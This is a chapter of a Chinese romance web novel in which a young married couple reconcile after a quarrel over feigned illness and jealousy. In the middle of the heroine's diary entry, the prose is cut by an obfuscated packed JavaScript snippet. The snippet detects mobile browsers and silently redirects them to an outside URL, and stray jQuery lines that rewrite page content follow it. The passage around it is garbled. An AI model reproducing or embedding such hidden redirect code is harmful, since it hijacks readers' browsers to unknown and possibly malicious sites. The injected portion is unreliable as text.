车内依然安静，边上路灯依旧亮着，雨下得大了，玻璃车窗上满是雨痕，每一点雨点都映着扭曲而破碎白炽光。
闻叙手搭上了方向盘，抬起眼，车前正停一辆银色的车，车牌号挺有意思，0117。
恰好是她的生日。
“谢与月。”他挺清楚自己在烦躁什么的，头后仰抵着靠背，声音挺低地说，“我们结婚了。”
谢与月觉得他这话来得莫名其妙，“所以？”
他没说话，就这么安静了会。
“所以什么？”她又问，似乎对这个问题还挺执着的。只有她自己才知道，她只是在等一个答案而已。
闻叙还在看着那个车牌号，雨刷卷干净了挡风玻璃，又立马有雨点砸了下来，他心底的烦闷几乎要漫了出来，却依旧克制着，外表看上去和平日没什么区别，也不愿让声音泄露情绪，冷淡地开了口。
“所以，和你结婚的人是我，如果你想去看心理医生，可以问我，我也能帮你找到合适的医生，陪你一起去。如果生我气了，你可以骂我打我不理我，我做错事了会承认。但是，能不能别找许庭嘉。虽然他是我亲哥，但他好歹也算是个男的。”
她挺猝不及防，“他当然是个男的，要不然还是个女的不成？”
闻叙都要被她气笑了，“你没听懂？”
她好像是听懂了，却又不太敢相信，慢吞吞地瞥了他一眼，没应他话。
“我的意思是，”他闭了闭眼，搭在方向盘上的小臂肌肉绷紧，掌骨与青筋贲起，“我不想你和他走得那么近。”
谢与月垂在裤边的手不知道什么时候蜷了起来，心跳到了她自己都能明显感受到的地步，却还依旧刺探着，想要他一个确切的回答，“你和许庭嘉闹掰了？又不是小孩子，没必要玩拉帮结派这套，真的，你这样一……”
她的嘴叭叭地说着，闻叙已经不想再听后面的内容了，蓦地倾过身，伸手将她脸偏过来，吻住那张喋喋不休的嘴。
非常单纯，仅仅只是唇与唇的触碰，柔软的相贴，却足以叫她要说的话戛然而止。
“0117”车牌号的车尾灯突然亮了，红色的光，不刺眼，却足以让他们在这一刻看清彼此，明明他早与她做过比这还要更为亲密的事，也早过了情窦顿开的年纪，此刻却吻得青涩、浅尝辄止。
他停了下来，低声道：“你先别说话了，我脑袋疼。”
她记起来要眨眼了，木然反问：“你刚干什么了？”
“哦，”他摸了下鼻尖，竟有些不大好意思，“亲了你一口。”
她指着自己，“可我才刚满十八。”
“那我也刚满十八。”他回答得理所当然。
“……不要脸。你比我大三岁，怎么算也得二十一了。”
“0117”车牌号开走了，过了会，他终于想起还没系安全带，而后也启动车子，汇入车流回家。
路上，谢与月没再和他说话，怕影响他开车，硬是憋了一路，直到她换上拖鞋进到家门，转头对闻叙说：“你刚说我可以骂你打你不理你？”
自己亲口说出来的话，他当然记得，也没替自己解释什么，“你开始吧。我是病好了还骗你，我的错。”
这家伙太坦诚了，面对这种时候，谢与月一时还真说不出骂他的话来，况且她也不爱骂人，上下看了他好几眼，她趿拉着拖鞋走向客厅，“以后别装病了，我会担心的，很担心。”
“所以，从现在开始我要不理你了。”
说完后，她径直往闪电的房间走去。
闪电还在窝里睡着，头枕在她织的蓝色帽子上，它这几天一直这样，对这顶帽子喜欢得紧，连睡觉也得抱着。
谢与月盘腿坐下，安静地看了闪电好一会，它耳朵大，上面的毛也长，睡觉的时候耷拉在两边，像个双马尾。
其实想想吧，闪电确实像是闻叙会养出来的狗。
看完了狗，她准备上楼洗澡，此时路过餐厅，见到闻叙正坐在餐桌边，孤零零且安静地吃着晚饭，瞧着怪可怜的，此时已经是晚上八点了。
原来他看到消息就来找她了，连饭也没吃。
谢与月忍住想开口说话的念头，回到主卧洗澡，她早上挺生气，把自己的东西都搬回了主卧。
刷牙前，她摸了摸自己的唇瓣，仿佛还残留着不属于她的触感，她给牙刷挤上牙膏，对着镜子认真刷干净牙齿。
明明他就是吃醋，偏偏就是不把话说明白，一股别扭劲儿。
咕噜咕噜地漱完口，谢与月回到主卧，翻开墨绿色笔记本写了段话，敲门声忽地响起，她把本子盖上放好，去开门。
门外站着的人已经换了身衣服，手里正拎着个枕头，头发罕见地往后撩，露出优越的发际线，碎发乱翘着，叫他整个人都透着点烦躁的意味，见门开了，他漫不经心地掀起眼，说道：“我的床不小心湿了，来借个床。”
“……你干什么了床都湿了？”
“我拿着杯子，被拖鞋绊了下，刚好洒床上了。”他又不经意地继续说，“你刚理我了，是不是惩罚结束了？要不你还是打我骂我吧，不理我，我憋得慌。”
再度见识到了他的不要脸，她真挺无语的，没应他，去到次卧一看，床确实湿了一大块，连底下的垫子都渗到了。
“建议你打地铺。”她说完就走了，还顺带把他的门给关上了。
望着那扇闭着的门，闻叙认了命，从柜子里拿出垫子和被子，准备就在地上凑合一晚上。
这次他还真不是故意的，他当时走神地想着些事，没留意到地毯，绊了下，再回过神来水已经朝着床泼去了。
结婚后他们很少有争吵，这还是他第一次和她发生矛盾。
他刚刚看着床上这滩水渍，想着也许是个借机说开问题的机会，只是话到了嘴边，却难以启齿。
他是习惯了这样，不企图别人理解、谅解，更不愿把真正的自己摆到别人面前，像一条在路边讨食的狗，迎接自己的也许根本不是食物，而是踹来的一脚，亦或者是一声粗鲁的“滚远点”。
其实小时候他不这样，他出身富裕，父母忙碌但足够恩爱，还有个双胞胎哥哥陪伴着一起成长。小时的他性格外向，有不少一同玩乐的三朋四友，九岁屁点大就敢约着人骑行去隔壁市。
可偏偏他又是个感性的人，玩乐之余，没少和朋友们谈天说地，倾诉衷肠，可他们的反应总是什么呢，“你有这么个爹，想要什么都很容易”、“要是我是你就好了”、“好兄弟，别太矫情假清高了”、“行了啊行了啊我们的林黛玉”，年纪轻的少年们说起话没把门，伤人得很，次数多了，他也不再说这些了，同时也不再幼稚天真地奢望着共鸣的存在。
再后来，他步入了商场，学会了将真实想法更为彻底地掩盖，不流露分毫，就不容易被抓住弱点。
可唯独在她面前，他不想这样，而且他确实也做错了，认个错解释一下怎么了，她又不会朝他捅刀子，她不是那样的人。
闻叙只觉得自己真是装得很，磨磨叽叽，成了躲在伞下不敢离开的人，可其实外面根本没下雨。
越想越烦躁，他朝着踢脚线踢了一脚，脚尖被震得生疼，人清醒点了，于是继续弯腰把被子往地上铺好。
另一头，谢与月回到自己房间，继续写日记。
[致二十四岁的我：
……非常非常讨厌有人拿身体来开玩笑，我应该很生气的，但算了，我想原谅他了，许庭嘉说他只是想让我多关心关心他，他只是不懂得表达，没有恶意，我也没因此受到什么伤害。
是，他是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15681765|172050||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
有错，但只是很小的问题，我不能要求一个人完美无缺，毕竟我也有着不少缺点。
况且，和他认识这么久了，其实你和我应该都很清楚，他本性一点都不坏，丢垃圾时会写“内有碎瓷片”，玩游戏不急眼，会为了个谣言潜伏在群里，因为闪电乱尿推掉工作，也不怕我查手机，这么一件件事数下来，他其实真的挺好的。我不讨厌他了，他不应该被讨厌。]
盖上日记，谢与月想到他刚才过来开门时的那副模样，估计他心底挺难受的。或许他也没想到她会那么介意装病，毕竟这放正常情侣之间，也就只是吵两句架就能结束的事，甚至还算得上是能增进感情的小情趣。
她也没怎么犹豫，猛地一打开门，却见到一个意想不到的身影，他双腿交叉地靠在她门前的墙边，单手里拎着罐鸡尾酒饮料，指尖还在罐身上摩挲，另只手则揣在裤兜里，头发依旧是那样往后撩着，这么个样，倒是有点心事无限的颓废劲出来了，适合拍那种暗色调的文艺照片。
见着她门突然开了，他骤然站直了身，眼往旁边瞟去，捏着铝罐的手稍稍收紧，都被捏变形了。
“你……”
“我……”
两人同时开了口，而后又同时地陷入了沉默。
谢与月也不知道怎么的，只觉得这场景有些出乎意料的好笑，又有点熟悉。
“你不回你房间打地铺，是准备在这儿当门神？我刚好要找你，我知道你其实，嗯……你大概是想我多关心下你，而且你也不知道我会反感这样的事，勉强算你无辜吧，反正就，我原谅你了。”
她说话时嘴角带着点笑，神色却专注而认真。闻叙忽然想到窘藏在地底的朗姆酒，透明的玻璃瓶身，浓郁的深琥珀色，开瓶时强劲的酒精味袭来，再是果香、橡木桶香、橙皮肉桂香、皮革香，纷纷杂杂地混一起，有种独特的叫人安心的意味，一如她清透的眼眸。他蓦地就松了口气，本堵着说不出来的话，似乎也变得极为轻易。
“是有你说的原因，但也不完全是。”手指依旧悄悄摩挲着罐身，喉结滚了下，“你说我病好了就回去，可我不想你回主卧睡，有你在身边很安心，不会失眠。平时我工作忙，和你的相处时间不多，我的意思是，我们都结婚了，总不能分房睡吧。”
肉麻死了，他想，这通几乎算是语无伦次的话，她大概会觉得挺恶心的吧。
“哦，那是谁之前还说着，不和心智才十八岁的人睡一起？”她笑了下，忽然伸手抢过他手里那杯喝的，正准备仰头咕噜噜喝几口呢，发现里面就剩了个底儿，也就够一口而已。
谢与月咂巴着，顺手看了眼味道，乐橘乌龙味，像她小时候爱吃的青橘子，但又没那么酸，还带点乌龙的茶味，都是她爱的，混一块很清爽。她还是第一次喝这个味道，没想到还挺好喝。
没等他说话，她把铝罐塞回他手里，忽然踮脚亲了下他嘴角，还偷偷舔了下，也是颗青橘，夹着淡淡的酒精味，应该是那种熟到发酵了的那种，软乎乎的，有点上头。
等她放开了他，那可怜的铝罐已经被他捏扁了。
“今晚不能和你睡。你得让我冷静冷静，我怕我干点什么出来，别小看我的胆量。”十八岁的胆子可以闯天闯地，她对自己很有自知之明。
“那明晚？”他又倚起了墙，后面一句声音压得低，“其实也不是不行。”
她离得近，将他的话听得清清楚楚，却假装只听到了前一句，“那得看情况。”
他挺冷静地说了声好，觉得呼吸有些紧，又冷静地将领口往下拉了点，直起身子说道：“我先回去了。”
瞧了会他的背影，谢与月把门关上，嘴里还一股酒味。
牙是白刷了，又得刷一遍，不过也不亏，软弹软弹的。
要能再来一遍就好了。